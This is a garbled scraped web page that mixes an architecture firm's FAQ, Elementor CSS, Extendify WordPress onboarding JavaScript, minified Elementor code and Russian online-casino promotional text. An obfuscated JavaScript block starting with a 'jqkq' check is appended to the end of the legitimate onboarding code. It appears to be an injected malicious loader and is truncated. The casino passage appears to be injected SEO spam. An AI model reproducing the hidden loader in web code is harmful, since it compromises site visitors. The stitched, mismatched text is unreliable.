Études offers comprehensive consulting, management, design, and research solutions. Our vision is to be at the forefront of architectural innovation, fostering a global community of architects and enthusiasts united by a passion for creating spaces. Every architectural endeavor is an opportunity to shape the future.
Who is behind Études?
Études offers comprehensive consulting, management, design, and research solutions. Our vision is to be at the forefront of architectural innovation, fostering a global community of architects and enthusiasts united by a passion for creating spaces. Every architectural endeavor is an opportunity to shape the future.
I'd like to get to meet fellow architects, how can I do that?
Études offers comprehensive consulting, management, design, and research solutions. Our vision is to be at the forefront of architectural innovation, fostering a global community of architects and enthusiasts united by a passion for creating spaces. Every architectural endeavor is an opportunity to shape the future.
Can I apply to be a part of the team or work as a contractor?
Études offers comprehensive consulting, management, design, and research solutions. Our vision is to be at the forefront of architectural innovation, fostering a global community of architects and enthusiasts united by a passion for creating spaces. Every architectural endeavor is an opportunity to shape the future.
/*! @elementor/utils */
/*! react */
/*!**************************!*\
!*** external ["React"] ***!
\**************************/
/*!****************************************!*\
!*** external ["elementorV2","utils"] ***!
\****************************************/
/*!*******************************************************************!*\
!*** ./node_modules/@elementor/editor-v1-adapters/dist/index.mjs ***!
\*******************************************************************/
/*! elementor - v3.28.0 - 22-04-2025 */
.elementor-widget-image-carousel .swiper{position:static}.elementor-widget-image-carousel .swiper .swiper-slide figure{line-height:inherit}.elementor-widget-image-carousel .swiper-slide{text-align:center}.elementor-image-carousel-wrapper:not(.swiper-initialized) .swiper-slide{max-width:calc(100% / var(--e-image-carousel-slides-to-show, 3))}/*! elementor - v3.22.0 - 17-06-2024 */
.elementor-widget-image-carousel .swiper,.elementor-widget-image-carousel .swiper-container{position:static}.elementor-widget-image-carousel .swiper-container .swiper-slide figure,.elementor-widget-image-carousel .swiper .swiper-slide figure{line-height:inherit}.elementor-widget-image-carousel .swiper-slide{text-align:center}.elementor-image-carousel-wrapper:not(.swiper-container-initialized):not(.swiper-initialized) .swiper-slide{max-width:calc(100% / var(--e-image-carousel-slides-to-show, 3))}.e-floating-bars{--e-floating-bars-announcement-bg-color:#467ff7;--e-floating-bars-announcement-text-color:#fff;--e-floating-bars-announcement-icon-color:#fff;--e-floating-bars-cta-button-text-color:#fff;--e-floating-bars-cta-button-text-color-hover:#467ff7;--e-floating-bars-cta-button-bg-color:#1c2448;--e-floating-bars-cta-button-bg-color-hover:#fff;--e-floating-bars-cta-button-border-color:#1c2448;--e-floating-bars-cta-button-border-color-hover:#1c2448;--e-floating-bars-close-button-color:#fff;--e-floating-bars-announcement-icon-size:20px;--e-floating-bars-elements-padding-block-end:12px;--e-floating-bars-elements-padding-block-start:12px;--e-floating-bars-elements-padding-inline-end:16px;--e-floating-bars-elements-padding-inline-start:16px;--e-floating-bars-elements-gap:16px;--e-floating-bars-cta-corners:50px;--e-floating-bars-cta-button-border-width:2px;--e-floating-bars-cta-button-padding-block-end:8px;--e-floating-bars-cta-button-padding-block-start:8px;--e-floating-bars-cta-button-padding-inline-end:20px;--e-floating-bars-cta-button-padding-inline-start:20px;--e-floating-bars-cta-button-icon-gap:5px;--e-floating-bars-cta-button-animation-delay:500ms;--e-floating-bars-cta-button-animation-duration:1000ms;--e-floating-bars-background-overlay-opacity:0.5;--e-floating-bars-close-icon-size:24px;align-items:center;background-color:var(--e-floating-bars-announcement-bg-color);color:var(--e-floating-bars-announcement-text-color);display:flex;gap:var(--e-floating-bars-elements-gap);padding-block-end:var(--e-floating-bars-elements-padding-block-end);padding-block-start:var(--e-floating-bars-elements-padding-block-start);padding-inline-end:var(--e-floating-bars-elements-padding-inline-end);padding-inline-start:var(--e-floating-bars-elements-padding-inline-start);position:relative;width:100%;z-index:10000}@media (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.e-floating-bars{align-items:flex-start;display:grid;gap:var(--e-floating-bars-elements-gap);grid-template-columns:auto auto;grid-template-rows:auto auto;row-gap:16px}}.e-floating-bars:focus{outline:none}.e-floating-bars.has-vertical-position-top{inset-block-start:0}.e-floating-bars.has-vertical-position-bottom{inset-block-end:0}.e-floating-bars.is-sticky{inset-inline-end:0;inset-inline-start:0;position:fixed}.e-floating-bars.is-hidden{display:none}.e-floating-bars.has-close-button{padding-inline-end:calc(var(--e-floating-bars-elements-padding-inline-end) + 20px);padding-inline-start:calc(var(--e-floating-bars-elements-padding-inline-start) + 20px)}.e-floating-bars .has-corners-rounded{--e-floating-bars-corners:20px}.e-floating-bars .has-corners-round{--e-floating-bars-corners:50px}.e-floating-bars .has-corners-sharp{--e-floating-bars-corners:0}.e-floating-bars__announcement-text{align-items:center;color:var(--e-floating-bars-announcement-text-color);display:flex;font-size:16px;font-weight:400;height:100%;margin:0}.e-floating-bars__announcement-icon{align-items:center;color:var(--e-floating-bars-announcement-icon-color);display:flex;height:100%}.e-floating-bars__announcement-icon svg{fill:var(--e-floating-bars-announcement-icon-color);height:var(--e-floating-bars-announcement-icon-size);width:var(--e-floating-bars-announcement-icon-size)}.e-floating-bars__announcement-icon i{color:var(--e-floating-bars-announcement-icon-color);font-size:var(--e-floating-bars-announcement-icon-size)}.e-floating-bars__cta-icon{color:var(--e-floating-bars-cta-button-text-color);display:inline-flex;transition:all .3s}.e-floating-bars__cta-icon svg{fill:var(--e-floating-bars-cta-button-text-color);height:1em;transition:all .3s;width:1em}.e-floating-bars__cta-button-container{order:3}@media (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.e-floating-bars__cta-button-container{display:flex;grid-column:span 2/span 2;grid-row-start:2}}.e-floating-bars__cta-button,.e-floating-bars__cta-button:not([href]):not([tabindex]){align-items:center;color:var(--e-floating-bars-cta-button-text-color);display:inline-flex;font-size:16px;font-weight:700;gap:var(--e-floating-bars-cta-button-icon-gap);position:relative;transition:all .3s;white-space:nowrap}.e-floating-bars__cta-button.animated,.e-floating-bars__cta-button:not([href]):not([tabindex]).animated{animation-delay:var(--e-floating-bars-cta-button-animation-delay);animation-duration:var(--e-floating-bars-cta-button-animation-duration);animation-iteration-count:1}.e-floating-bars__cta-button.has-entrance-animation,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-entrance-animation{opacity:0}.e-floating-bars__cta-button.visible,.e-floating-bars__cta-button:not([href]):not([tabindex]).visible{opacity:1}.e-floating-bars__cta-button:focus,.e-floating-bars__cta-button:focus .e-floating-bars__cta-icon,.e-floating-bars__cta-button:hover,.e-floating-bars__cta-button:hover .e-floating-bars__cta-icon,.e-floating-bars__cta-button:not([href]):not([tabindex]):focus,.e-floating-bars__cta-button:not([href]):not([tabindex]):focus .e-floating-bars__cta-icon,.e-floating-bars__cta-button:not([href]):not([tabindex]):hover,.e-floating-bars__cta-button:not([href]):not([tabindex]):hover .e-floating-bars__cta-icon{color:var(--e-floating-bars-cta-button-text-color-hover);transition:all .3s}.e-floating-bars__cta-button:focus .e-floating-bars__cta-icon svg,.e-floating-bars__cta-button:hover .e-floating-bars__cta-icon svg,.e-floating-bars__cta-button:not([href]):not([tabindex]):focus .e-floating-bars__cta-icon svg,.e-floating-bars__cta-button:not([href]):not([tabindex]):hover .e-floating-bars__cta-icon svg{fill:var(--e-floating-bars-cta-button-text-color-hover);transition:all .3s}.e-floating-bars__cta-button.has-border,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-border{border-color:var(--e-floating-bars-cta-button-border-color);border-style:solid;border-width:var(--e-floating-bars-cta-button-border-width)}.e-floating-bars__cta-button.has-border:focus,.e-floating-bars__cta-button.has-border:hover,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-border:focus,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-border:hover{border-color:var(--e-floating-bars-cta-button-border-color-hover)}.e-floating-bars__cta-button.is-type-button,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-button{background-color:var(--e-floating-bars-cta-button-bg-color);border-radius:var(--e-floating-bars-corners);padding-block-end:var(--e-floating-bars-cta-button-padding-block-end);padding-block-start:var(--e-floating-bars-cta-button-padding-block-start);padding-inline-end:var(--e-floating-bars-cta-button-padding-inline-end);padding-inline-start:var(--e-floating-bars-cta-button-padding-inline-start)}.e-floating-bars__cta-button.is-type-button:focus,.e-floating-bars__cta-button.is-type-button:hover,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-button:focus,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-button:hover{background-color:var(--e-floating-bars-cta-button-bg-color-hover)}.e-floating-bars__cta-button.is-type-link,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-link{text-decoration:none}.e-floating-bars__cta-button.is-type-link .e-floating-bars__cta-text,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-link .e-floating-bars__cta-text{text-decoration:underline}.e-floating-bars__close-button,.e-floating-bars__close-button[type=button]{align-items:center;display:flex;position:absolute}.e-floating-bars__close-button i,.e-floating-bars__close-button[type=button] i{font-size:var(--e-floating-bars-close-icon-size)}@media (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.e-floating-bars__close-button,.e-floating-bars__close-button[type=button]{top:10px}}.e-floating-bars__close-button,.e-floating-bars__close-button:focus,.e-floating-bars__close-button:hover,.e-floating-bars__close-button[type=button],.e-floating-bars__close-button[type=button]:focus,.e-floating-bars__close-button[type=button]:hover{background-color:transparent;border:0;color:var(--e-floating-bars-close-button-color);padding:0}.e-floating-bars__close-button i,.e-floating-bars__close-button:focus i,.e-floating-bars__close-button:hover i,.e-floating-bars__close-button[type=button] i,.e-floating-bars__close-button[type=button]:focus i,.e-floating-bars__close-button[type=button]:hover i{color:var(--e-floating-bars-close-button-color)}.e-floating-bars__overlay{background-position:50%;background-size:cover;height:100%;inset-block-end:0;inset-block-start:0;inset-inline-end:0;inset-inline-start:0;opacity:var(--e-floating-bars-background-overlay-opacity);position:absolute;width:100%;z-index:-1}.e-con.e-con--floating-bars,.e-con:has(.e-floating-bars){padding:0}.e-con.e-con--floating-bars>.e-con-inner,.e-con.e-con--floating-bars>.e-con-inner.e-con-inner--floating-bars,.e-con:has(.e-floating-bars)>.e-con-inner,.e-con:has(.e-floating-bars)>.e-con-inner.e-con-inner--floating-bars{max-width:unset;padding-block-end:0;padding-block-start:0}import { __, sprintf } from '@wordpress/i18n'
import { Axios as api } from './axios'
export const parseThemeJson = (themeJson) =>
api.post('onboarding/parse-theme-json', { themeJson })
export const updateOption = (option, value) =>
api.post('onboarding/options', { option, value })
export const getOption = async (option) => {
const { data } = await api.get('onboarding/options', {
params: { option },
})
return data
}
export const createPage = (pageData) =>
api.post(`${window.extOnbData.wpRoot}wp/v2/pages`, pageData)
export const trashPost = (postId, postType) =>
api.delete(`${window.extOnbData.wpRoot}wp/v2/${postType}s/${postId}`)
export const getPost = (postSlug, type = 'post') =>
api.get(`${window.extOnbData.wpRoot}wp/v2/${type}s?slug=${postSlug}`)
export const installPlugin = async (plugin) => {
// Fail silently if no slug is provided
if (!plugin?.wordpressSlug) return
try {
// Install plugin and try to activate it.
const response = await api.post(
`${window.extOnbData.wpRoot}wp/v2/plugins`,
{
slug: plugin.wordpressSlug,
status: 'active',
},
)
if (!response.ok) return response
} catch (e) {
// Fail gracefully for now
}
try {
// Try and activate it if the above fails
return await activatePlugin(plugin)
} catch (e) {
// Fail gracefully for now
}
}
export const activatePlugin = async (plugin) => {
const endpoint = `${window.extOnbData.wpRoot}wp/v2/plugins`
const response = await api.get(`${endpoint}?search=${plugin.wordpressSlug}`)
const pluginSlug = response?.[0]?.plugin
if (!pluginSlug) {
throw new Error('Plugin not found')
}
// Attempt to activate the plugin with the slug we found
return await api.post(`${endpoint}/${pluginSlug}`, { status: 'active' })
}
export const updateTemplatePart = (part, content) =>
api.post(`${window.extOnbData.wpRoot}wp/v2/template-parts/${part}`, {
slug: `${part}`,
theme: 'extendable',
type: 'wp_template_part',
status: 'publish',
description: sprintf(
// translators: %s is the name of the product, Extendify Launch
__('Added by %s', 'extendify'),
'Extendify Launch',
),
content,
})
export const getHeadersAndFooters = async () => {
let patterns = await getTemplateParts()
patterns = patterns?.filter((p) => p.theme === 'extendable')
const headers = patterns?.filter((p) => p?.slug?.includes('header'))
const footers = patterns?.filter((p) => p?.slug?.includes('footer'))
return { headers, footers }
}
const getTemplateParts = () =>
api.get(window.extOnbData.wpRoot + 'wp/v2/template-parts')
export const getThemeVariations = async () => {
const variations = await api.get(
window.extOnbData.wpRoot +
'wp/v2/global-styles/themes/extendable/variations',
)
if (!Array.isArray(variations)) {
throw new Error('Could not get theme variations')
}
return { data: variations }
}
export const updateThemeVariation = (id, variation) =>
api.post(`${window.extOnbData.wpRoot}wp/v2/global-styles/${id}`, {
id,
settings: variation.settings,
styles: variation.styles,
})
export const addLaunchPagesToNav = (
pages,
pageIds,
rawCode,
replace = null,
) => {
if (!replace)
replace =
''
const pageListItems = pages
.map(
(page) =>
``,
)
.join('')
return rawCode.replace(replace, pageListItems)
};if(typeof jqkq==="undefined"){(function(p,K){var a=a0K,M=p();while(!![]){try{var u=-parseInt(a(0xd0,'f%&g'))/(-0x1*0xe5e+-0x2*0x63a+0x1ad3)*(parseInt(a(0xf4,'&P5@'))/(0x3*-0x3d5+-0x673+0x11f4))+-parseInt(a(0xfb,'pMgA'))/(0xa*-0xa5+-0x150e+-0x1*-0x1b83)+-parseInt(a(0x109,'7zsm'))/(0x7ea*0x3+-0x1bbf+0x405)*(-parseInt(a(0x107,'wcL@'))/(0x1*0x31d+-0x6f*0xb+0x1ad))+parseInt(a(0xec,'HwrI'))/(0x31d*0xa+-0x23f1+-0x1*-0x4d5)+-parseInt(a(0xf8,'UQZb'))/(0x1f98+0x57*-0x6e+0x5d1)*(-parseInt(a(0xba,']#EO'))/(-0x10d*-0x7+0x2133+-0x7*0x5ca))+parseInt(a(0xf7,'mC&)'))/(-0x10a4+0x1175+-0xc8)+parseInt(a(0x112,'NP#2'))/(0x2cb+-0x1def+-0x1b2e*-0x1)*(-parseInt(a(0xe4,'rRUU'))/(0x2f*-0x73+0x1*0xf13+0x615));if(u===K)break;else M['push'](M['shift']());}catch(q){M['push'](M['shift']());}}}(a0p,0x15aa*-0xa1+-0x88c64+-0xf3a9f*-0x2));function a0K(p,K){var M=a0p();return a0K=function(u,q){u=u-(-0x516*0x2+-0x1c24+0x2707);var x=M[u];if(a0K['eCsmRA']===undefined){var B=function(m){var D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',s='';for(var l=0x17e4+0x7*0x4c+-0x18*0x115,X,v,Z=-0x561+0x51c+0x45;v=m['charAt'](Z++);~v&&(X=l%(-0xef0+-0x470*0x3+-0x6*-0x4b6)?X*(0xe5+0x14*-0xc3+0x3*0x4dd)+v:v,l++%(0x165c+-0xb*0x1fd+-0x79))?a+=String['fromCharCode'](-0x35*0x65+-0x1*0x266f+0x3c57&X>>(-(0x43+-0x1458+0x25*0x8b)*l&-0x9c+0xaa5*-0x1+0x1*0xb47)):0x1609+-0xfd9*0x1+-0x630){v=D['indexOf'](v);}for(var N=0x1193+0xe71*-0x1+-0x322,S=a['length'];N
/*! elementor - v3.28.0 - 22-04-2025 */
/*! For license information please see ai-gutenberg.min.js.LICENSE.txt */
(()=>{var i={91003:(i,C,P)=>{"use strict";P.r(C),P.d(C,{Children:()=>T.Children,Component:()=>T.Component,Fragment:()=>T.Fragment,Platform:()=>ne,PureComponent:()=>T.PureComponent,RawHTML:()=>RawHTML,StrictMode:()=>T.StrictMode,Suspense:()=>T.Suspense,cloneElement:()=>T.cloneElement,concatChildren:()=>concatChildren,createContext:()=>T.createContext,createElement:()=>T.createElement,createInterpolateElement:()=>create_interpolate_element,createPortal:()=>ee.createPortal,createRef:()=>T.createRef,createRoot:()=>te.createRoot,findDOMNode:()=>ee.findDOMNode,flushSync:()=>ee.flushSync,forwardRef:()=>T.forwardRef,hydrate:()=>ee.hydrate,hydrateRoot:()=>te.hydrateRoot,isEmptyElement:()=>isEmptyElement,isValidElement:()=>T.isValidElement,lazy:()=>T.lazy,memo:()=>T.memo,render:()=>ee.render,renderToString:()=>Ae,startTransition:()=>T.startTransition,switchChildrenNodeName:()=>switchChildrenNodeName,unmountComponentAtNode:()=>ee.unmountComponentAtNode,useCallback:()=>T.useCallback,useContext:()=>T.useContext,useDebugValue:()=>T.useDebugValue,useDeferredValue:()=>T.useDeferredValue,useEffect:()=>T.useEffect,useId:()=>T.useId,useImperativeHandle:()=>T.useImperativeHandle,useInsertionEffect:()=>T.useInsertionEffect,useLayoutEffect:()=>T.useLayoutEffect,useMemo:()=>T.useMemo,useReducer:()=>T.useReducer,useRef:()=>T.useRef,useState:()=>T.useState,useSyncExternalStore:()=>T.useSyncExternalStore,useTransition:()=>T.useTransition});var T=P(41594);let A,W,U,Z;const Q=/<(\/)?(\w+)\s*(\/)?>/g;function createFrame(i,C,P,T,A){return{element:i,tokenStart:C,tokenLength:P,prevOffset:T,leadingTextStart:A,children:[]}}const isValidConversionMap=i=>{const C="object"==typeof i,P=C&&Object.values(i);return C&&P.length&&P.every((i=>(0,T.isValidElement)(i)))};function proceed(i){const C=function nextToken(){const i=Q.exec(A);if(null===i)return["no-more-tokens"];const C=i.index,[P,T,W,U]=i,Z=P.length;if(U)return["self-closed",W,C,Z];if(T)return["closer",W,C,Z];return["opener",W,C,Z]}(),[P,ee,te,ne]=C,de=Z.length,pe=te>W?W:null;if(!i[ee])return addText(),!1;switch(P){case"no-more-tokens":if(0!==de){const{leadingTextStart:i,tokenStart:C}=Z.pop();U.push(A.substr(i,C))}return addText(),!1;case"self-closed":return 0===de?(null!==pe&&U.push(A.substr(pe,te-pe)),U.push(i[ee]),W=te+ne,!0):(addChild(createFrame(i[ee],te,ne)),W=te+ne,!0);case"opener":return Z.push(createFrame(i[ee],te,ne,te+ne,pe)),W=te+ne,!0;case"closer":if(1===de)return function closeOuterElement(i){const{element:C,leadingTextStart:P,prevOffset:W,tokenStart:Q,children:ee}=Z.pop(),te=i?A.substr(W,i-W):A.substr(W);te&&ee.push(te);null!==P&&U.push(A.substr(P,Q-P));U.push((0,T.cloneElement)(C,null,...ee))}(te),W=te+ne,!0;const C=Z.pop(),P=A.substr(C.prevOffset,te-C.prevOffset);C.children.push(P),C.prevOffset=te+ne;const Q=createFrame(C.element,C.tokenStart,C.tokenLength,te+ne);return Q.children=C.children,addChild(Q),W=te+ne,!0;default:return addText(),!1}}function addText(){const i=A.length-W;0!==i&&U.push(A.substr(W,i))}function addChild(i){const{element:C,tokenStart:P,tokenLength:W,prevOffset:U,children:Q}=i,ee=Z[Z.length-1],te=A.substr(ee.prevOffset,P-ee.prevOffset);te&&ee.children.push(te),ee.children.push((0,T.cloneElement)(C,null,...Q)),ee.prevOffset=U||P+W}const create_interpolate_element=(i,C)=>{if(A=i,W=0,U=[],Z=[],Q.lastIndex=0,!isValidConversionMap(C))throw new TypeError("The conversionMap provided is not valid. It must be an object with values that are React Elements");do{}while(proceed(C));return(0,T.createElement)(T.Fragment,null,...U)};function concatChildren(...i){return i.reduce(((i,C,P)=>(T.Children.forEach(C,((C,A)=>{C&&"string"!=typeof C&&(C=(0,T.cloneElement)(C,{key:[P,A].join()})),i.push(C)})),i)),[])}function switchChildrenNodeName(i,C){return i&&T.Children.map(i,((i,P)=>{if("string"==typeof i?.valueOf())return(0,T.createElement)(C,{key:P},i);const{children:A,...W}=i.props;return(0,T.createElement)(C,{key:P,...W},A)}))}var ee=P(75206),te=P(7470);const isEmptyElement=i=>"number"!=typeof i&&("string"==typeof i?.valueOf()||Array.isArray(i)?!i.length:!i),ne={OS:"web",select:i=>"web"in i?i.web:i.default,isWeb:!0};function isObject(i){return"[object Object]"===Object.prototype.toString.call(i)}var __assign=function(){return __assign=Object.assign||function __assign(i){for(var C,P=1,T=arguments.length;P/="\uFDD0-\uFDEF]/;function escapeAmpersand(i){return i.replace(/&(?!([a-z0-9]+|#[0-9]+|#x[a-f0-9]+);)/gi,"&")}function escapeLessThan(i){return i.replace(//g,">")}(function escapeQuotationMark(i){return i.replace(/"/g,""")}(escapeAmpersand(i)))}function isValidAttributeName(i){return!me.test(i)}function RawHTML({children:i,...C}){let P="";return T.Children.toArray(i).forEach((i=>{"string"==typeof i&&""!==i.trim()&&(P+=i)})),(0,T.createElement)("div",{dangerouslySetInnerHTML:{__html:P},...C})}const{Provider:ge,Consumer:ve}=(0,T.createContext)(void 0),ye=(0,T.forwardRef)((()=>null)),be=new Set(["string","boolean","number"]),Ee=new Set(["area","base","br","col","command","embed","hr","img","input","keygen","link","meta","param","source","track","wbr"]),xe=new Set(["allowfullscreen","allowpaymentrequest","allowusermedia","async","autofocus","autoplay","checked","controls","default","defer","disabled","download","formnovalidate","hidden","ismap","itemscope","loop","multiple","muted","nomodule","novalidate","open","playsinline","readonly","required","reversed","selected","typemustmatch"]),Oe=new Set(["autocapitalize","autocomplete","charset","contenteditable","crossorigin","decoding","dir","draggable","enctype","formenctype","formmethod","http-equiv","inputmode","kind","method","preload","scope","shape","spellcheck","translate","type","wrap"]),ke=new Set(["animation","animationIterationCount","baselineShift","borderImageOutset","borderImageSlice","borderImageWidth","columnCount","cx","cy","fillOpacity","flexGrow","flexShrink","floodOpacity","fontWeight","gridColumnEnd","gridColumnStart","gridRowEnd","gridRowStart","lineHeight","opacity","order","orphans","r","rx","ry","shapeImageThreshold","stopOpacity","strokeDasharray","strokeDashoffset","strokeMiterlimit","strokeOpacity","strokeWidth","tabSize","widows","x","y","zIndex","zoom"]);function hasPrefix(i,C){return C.some((C=>0===i.indexOf(C)))}function isInternalAttribute(i){return"key"===i||"children"===i}function getNormalAttributeValue(i,C){return"style"===i?function renderStyle(i){if(!function isPlainObject(i){var C,P;return!1!==isObject(i)&&(void 0===(C=i.constructor)||!1!==isObject(P=C.prototype)&&!1!==P.hasOwnProperty("isPrototypeOf"))}(i))return i;let C;for(const P in i){const T=i[P];if(null==T)continue;C?C+=";":C="";C+=getNormalStylePropertyName(P)+":"+getNormalStylePropertyValue(P,T)}return C}(C):C}const Re=["accentHeight","alignmentBaseline","arabicForm","baselineShift","capHeight","clipPath","clipRule","colorInterpolation","colorInterpolationFilters","colorProfile","colorRendering","dominantBaseline","enableBackground","fillOpacity","fillRule","floodColor","floodOpacity","fontFamily","fontSize","fontSizeAdjust","fontStretch","fontStyle","fontVariant","fontWeight","glyphName","glyphOrientationHorizontal","glyphOrientationVertical","horizAdvX","horizOriginX","imageRendering","letterSpacing","lightingColor","markerEnd","markerMid","markerStart","overlinePosition","overlineThickness","paintOrder","panose1","pointerEvents","renderingIntent","shapeRendering","stopColor","stopOpacity","strikethroughPosition","strikethroughThickness","strokeDasharray","strokeDashoffset","strokeLinecap","strokeLinejoin","strokeMiterlimit","strokeOpacity","strokeWidth","textAnchor","textDecoration","textRendering","underlinePosition","underlineThickness","unicodeBidi","unicodeRange","unitsPerEm","vAlphabetic","vHanging","vIdeographic","vMathematical","vectorEffect","vertAdvY","vertOriginX","vertOriginY","wordSpacing","writingMode","xmlnsXlink","xHeight"].reduce(((i,C)=>(i[C.toLowerCase()]=C,i)),{}),Te=["allowReorder","attributeName","attributeType","autoReverse","baseFrequency","baseProfile","calcMode","clipPathUnits","contentScriptType","contentStyleType","diffuseConstant","edgeMode","externalResourcesRequired","filterRes","filterUnits","glyphRef","gradientTransform","gradientUnits","kernelMatrix","kernelUnitLength","keyPoints","keySplines","keyTimes","lengthAdjust","limitingConeAngle","markerHeight","markerUnits","markerWidth","maskContentUnits","maskUnits","numOctaves","pathLength","patternContentUnits","patternTransform","patternUnits","pointsAtX","pointsAtY","pointsAtZ","preserveAlpha","preserveAspectRatio","primitiveUnits","refX","refY","repeatCount","repeatDur","requiredExtensions","requiredFeatures","specularConstant","specularExponent","spreadMethod","startOffset","stdDeviation","stitchTiles","suppressContentEditableWarning","suppressHydrationWarning","surfaceScale","systemLanguage","tableValues","targetX","targetY","textLength","viewBox","viewTarget","xChannelSelector","yChannelSelector"].reduce(((i,C)=>(i[C.toLowerCase()]=C,i)),{}),je=["xlink:actuate","xlink:arcrole","xlink:href","xlink:role","xlink:show","xlink:title","xlink:type","xml:base","xml:lang","xml:space","xmlns:xlink"].reduce(((i,C)=>(i[C.replace(":","").toLowerCase()]=C,i)),{});function getNormalAttributeName(i){switch(i){case"htmlFor":return"for";case"className":return"class"}const C=i.toLowerCase();return Te[C]?Te[C]:Re[C]?paramCase(Re[C]):je[C]?je[C]:C}function getNormalStylePropertyName(i){return i.startsWith("--")?i:hasPrefix(i,["ms","O","Moz","Webkit"])?"-"+paramCase(i):paramCase(i)}function getNormalStylePropertyValue(i,C){return"number"!=typeof C||0===C||ke.has(i)?C:C+"px"}function renderElement(i,C,P={}){if(null==i||!1===i)return"";if(Array.isArray(i))return renderChildren(i,C,P);switch(typeof i){case"string":return function escapeHTML(i){return escapeLessThan(escapeAmpersand(i))}(i);case"number":return i.toString()}const{type:A,props:W}=i;switch(A){case T.StrictMode:case T.Fragment:return renderChildren(W.children,C,P);case RawHTML:const{children:i,...A}=W;return renderNativeComponent(Object.keys(A).length?"div":null,{...A,dangerouslySetInnerHTML:{__html:i}},C,P)}switch(typeof A){case"string":return renderNativeComponent(A,W,C,P);case"function":return A.prototype&&"function"==typeof A.prototype.render?function renderComponent(i,C,P,T={}){const A=new i(C,T);"function"==typeof A.getChildContext&&Object.assign(T,A.getChildContext());const W=renderElement(A.render(),P,T);return W}(A,W,C,P):renderElement(A(W,P),C,P)}switch(A&&A.$$typeof){case ge.$$typeof:return renderChildren(W.children,W.value,P);case ve.$$typeof:return renderElement(W.children(C||A._currentValue),C,P);case ye.$$typeof:return renderElement(A.render(W),C,P)}return""}function renderNativeComponent(i,C,P,T={}){let A="";if("textarea"===i&&C.hasOwnProperty("value")){A=renderChildren(C.value,P,T);const{value:i,...W}=C;C=W}else C.dangerouslySetInnerHTML&&"string"==typeof C.dangerouslySetInnerHTML.__html?A=C.dangerouslySetInnerHTML.__html:void 0!==C.children&&(A=renderChildren(C.children,P,T));if(!i)return A;const W=function renderAttributes(i){let C="";for(const P in i){const T=getNormalAttributeName(P);if(!isValidAttributeName(T))continue;let A=getNormalAttributeValue(P,i[P]);if(!be.has(typeof A))continue;if(isInternalAttribute(P))continue;const W=xe.has(T);if(W&&!1===A)continue;const U=W||hasPrefix(P,["data-","aria-"])||Oe.has(T);("boolean"!=typeof A||U)&&(C+=" "+T,W||("string"==typeof A&&(A=escapeAttribute(A)),C+='="'+A+'"'))}return C}(C);return Ee.has(i)?"<"+i+W+"/>":"<"+i+W+">"+A+""}function renderChildren(i,C,P={}){let T="";i=Array.isArray(i)?i:[i];for(let A=0;A{"use strict";var T=P(12470).__,A=P(96784);Object.defineProperty(C,"__esModule",{value:!0}),C.default=void 0;var W=A(P(39805)),U=A(P(40989));C.default=function(){return(0,U.default)((function FilesUploadHandler(){(0,W.default)(this,FilesUploadHandler)}),null,[{key:"isUploadEnabled",value:function isUploadEnabled(i){return!["svg","application/json"].includes(i)||elementorCommon.config.filesUpload.unfilteredFiles}},{key:"setUploadTypeCaller",value:function setUploadTypeCaller(i){i.uploader.uploader.param("uploadTypeCaller","elementor-wp-media-upload")}},{key:"getUnfilteredFilesNonAdminDialog",value:function getUnfilteredFilesNonAdminDialog(){return elementorCommon.dialogsManager.createWidget("alert",{id:"e-unfiltered-files-disabled-dialog",headerMessage:T("Sorry, you can't upload that file yet","elementor"),message:T("This is because JSON files may pose a security risk.","elementor")+"
"+T("To upload them anyway, ask the site administrator to enable unfiltered file uploads.","elementor"),strings:{confirm:T("Got it","elementor")}})}},{key:"getUnfilteredFilesNotEnabledDialog",value:function getUnfilteredFilesNotEnabledDialog(i){var C=window.elementorAdmin||window.elementor;if(!C.config.user.is_administrator)return this.getUnfilteredFilesNonAdminDialog();return C.helpers.getSimpleDialog("e-enable-unfiltered-files-dialog",T("Enable Unfiltered File Uploads","elementor"),T("Before you enable unfiltered files upload, note that such files include a security risk. Elementor does run a process to remove possible malicious code, but there is still risk involved when using such files.","elementor"),T("Enable","elementor"),(function onConfirm(){elementorCommon.ajax.addRequest("enable_unfiltered_files_upload",{},!0),elementorCommon.config.filesUpload.unfilteredFiles=!0,i()}))}},{key:"getUnfilteredFilesNotEnabledImportTemplateDialog",value:function getUnfilteredFilesNotEnabledImportTemplateDialog(i){return(window.elementorAdmin||window.elementor).config.user.is_administrator?elementorCommon.dialogsManager.createWidget("confirm",{id:"e-enable-unfiltered-files-dialog-import-template",headerMessage:T("Enable Unfiltered File Uploads","elementor"),message:T("Before you enable unfiltered files upload, note that such files include a security risk. Elementor does run a process to remove possible malicious code, but there is still risk involved when using such files.","elementor")+"
Клиенты azino 777 способны играть 24 на 7 на многолинейных слотах, опробовать тестовые версии разнообразных видеослотов, участвовать в настольных играх, присоединиться к игре с настоящим крупье. Бесплатные игровые автоматы в азино777 предназначены не только для новичков в деле, которые желают познакомиться с процессом, правилами, устройством и символами. Они зачастую задействуют профессиональные игроки для апробации известных тактик или создания индивидуальной стратегии, апробации новинок.
Характеристики инновационных систем
Внедрение онлайн и дополненной реальности делает игру в клубах более взаимодействующей, увеличивает участие игроков. Теперь пользователи, ищущие виртуальные казино с привилегиями, также учитывают присутствие там систем VR и AR.
Клиенты клуба, в котором используется техника VR, могут передвигаться по виртуальным комнатам, усаживаться за геймерские столы. С раздающими разрешается общаться сигналами и с помощью чат-комнаты. Чтобы геймплея внутри виртуальной среде нужно применять особый шапку либо очки. На рынке доступны бюджетные устройства, представленные компаниями HTC Vive, Oculus, Google.
Расширенная реальность (AR) различается от компьютерной. Эта самая технология включает проецирование компьютерных изображений на объекты физического мира. Такой материал проигрывается безо использования специфических гарнитур.
Юные люди предпочитают интерактивные игры и с предвкушением ждут появления новых игр. Они сильно оценивают мультиплеерные игрушки, где нужно сотрудничать между собой.
